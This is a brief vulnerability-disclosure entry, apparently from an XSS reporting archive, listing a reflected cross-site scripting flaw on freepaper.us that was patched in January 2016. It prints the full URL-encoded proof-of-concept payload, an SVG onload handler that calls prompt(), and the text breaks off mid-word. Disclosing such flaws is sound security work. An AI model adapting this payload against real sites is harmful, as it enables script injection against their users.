freepaper.us XSS vulnerability

Vulnerable URL: http://www.freepaper.us/?str=0=%20Compulsive%20hoardingHepatitis%20%3Cspan%20class=%22formulatext%20stixSupport%20mathImg%22%20data-mathURL=%22/science?ob=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E&=10 Details: Description| Value ---|--- Patched:| Yes, at 30.01.2016 Latest chec...